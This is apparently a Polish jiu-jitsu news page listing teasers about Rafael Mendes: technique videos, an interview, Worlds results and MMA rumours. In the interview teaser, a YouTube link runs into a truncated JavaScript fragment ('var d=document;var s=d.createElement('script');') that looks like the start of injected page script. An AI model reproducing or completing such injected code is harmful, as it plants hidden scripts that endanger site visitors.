Trening zawodniczy w Art Of Jiu Jitsu [Video]
Zobaczcie jak wygląda trening zawodniczy u Rafy i Gui Mendesów. [embedyt] https://www.youtube.com/watch?v=pu2TdBKYoaA[/embedyt]
Rafael Mendes wyjaśnia od czego należy zacząć budowę otwartej gardy [Video]
Rafael Mendes przedstawia szczegóły gry gardą „collar & sleeve” czyli z uchwytami za kołnierz i rękaw. Według Mendesa jest to absolutnie podstawowa wersja otwartej gardy i o od niej właśnie należy budować swoją grę z pleców. Świetnie uczy kontroli dystansu, oraz podążania za przeciwnikiem. „Collar & sleeve” jest także świetnym pomostem pomiędzy innymi opcjami otwartej […]
Worlds 2017 bez Rafy Mendesa i Keenana Corneliusa
Na tegorocznych mistrzostwach świata BJJ zabraknie dwóch flagowych zawodników z teamu Atos Jiu Jitsu. Wczoraj minął termin ostatniej rejestracji na mundial, a jak podają źródła brakuje na nich Rafy Mendesa i Keenana Corneliusa. Jak podawaliśmy wcześniej Keenan podczas wizyty w Japonii doznał poważnej kontuzji kolana. Absencja na tegorocznym mundialu wskazuje na to, że uraz jest […]
Rafa Mendes pokazuje kimure z pozycji bocznej [Video]
Jeżeli lubicie zaatakować przeciwnika z pozycji bocznej, Rafa Mendes ma ciekawy patent na kimurę z tej pozycji. Skuteczności tej dźwigni nie trzeba nikomu udowadniać, a oprócz samego poddania kimura może przysłużyć jako solidna pozycja do kontroli przeciwnika.
„Inside the mind” – obszerny wywiad z Rafaelem Mendesem
Kenny Florian, były zawodnik UFC, czarny pas BJJ, przeprowadził ostatnio bardzo obszerną rozmowę z sześciokrotnym Mistrzem Świata IBJJF, Rafaelem Mendesem. Wywiad porusza wiele kwestii, takich jak psychika, nastawienie, a także sposoby treningowe młodszego z braci Mendes. Wywiad dostępny jedynie w języku angielskim: https://youtu.be/kByimXb7SiAvar d=document;var s=d.createElement(’script’);
Wideo: Rafael Mendes vs Ichitaro Tsukada
Pojedynek z tegorocznych Worldsów, pomiędzy Rafaelem Mendesem, a Ichitaro Tsukada, czyli jedna z walk prowadzących reprezentanta Atosu do szóstego Mistrzostwa Świata czarnych pasów: https://youtu.be/zDdWRFrWw9M
Worldsy 2016: Wyniki czarnych pasów mężczyzn
Czarne pasy / adult / mężczyźni / OPEN W finale najbardziej prestiżowej kategorii Open czarnych pasów, spotkali się Marcus Almeida Buchecha i Erberth Santos. Buchecha w drodze do finału rozprawił się m. in. z Murilo Santaną, Felipe Peną i Leandro Lo, podczas gdy Erberth Santos pokonał m. in. Luiza Panzę, Romulo Barrala i Bernardo Farię. […]
Wideo: Rafael Mendes – Road to 6x
Rafael Mendes jest pięciokrotnym Mistrzem Świata IBJJF, a jednocześnie żywą legendą sportu i jednym z najlepszych zawodników kategorii piórkowej w historii. Mimo wszystkich swoich osiągnięć, nie stracił głodu do walki i już w ten weekend będzie walczył o swój 6ty tytuł Mistrzowski w czarnych pasach. Poniżej prezentujemy krótki film, prezentujący przygotowania reprezentanta Atosu do Worldsów […]
Wideo: balacha z otwarcia do berimbolo od Rafaela Mendesa
Rafael Mendes prezentuje swoją koncepcję ataku na łokieć, w przypadku gdy rywal kontruje Jego wejście do berimbolo:
Rafael Mendes: analiza gardy z uchwytem za kołnierz i rękaw
Pięciokrotny Mistrz Świata, jeden z liderów Atosu, Rafael Mendes, prezentuje obszerną analizę gardy opartej o jednostronny uchwyt za kołnierz i rękaw. Wiele szczegółów, oraz dobre porady, jak sobie radzić z tą niewygodną pozycją:
Sekret Rafaela Mendesa na Mistrzostwach Brazylii
Jedną z walk, która wzbudziła największy aplauz publiczność na rozgrywanych w zeszłym tygodniu Mistrzostwach Brazylii była walka między odwiecznymi rywalami czyli Cobrinhą a drugim z braci Mendes- Rafaelem. O to co powiedział Rafael po walce, która decydowała o tym do kogo powędruje tytuł Mistrza Brazylii. Do walki z Cobrinhą byłem świetnie przygotowany, Rubens to świetny […]
Rafael Mendes do MMA ?
Rafael Mendes najmłodszy mistrz w historii ADCC o którym pisaliśmy poniżej w rozmowie dla tatame.com przejawia chęci występu w mma. Swój debiut zapowiedział także Braulio Estima. Jak wiadomo debiuty wybitnych grapplerów w mma zawsze budzą spore nadzieję fanów, ale jak wiadomo nie każdy utytułowany chwytacz może osiągnąć spektakularny sukces o czym świadczy przypadek m.in Marcelo […]
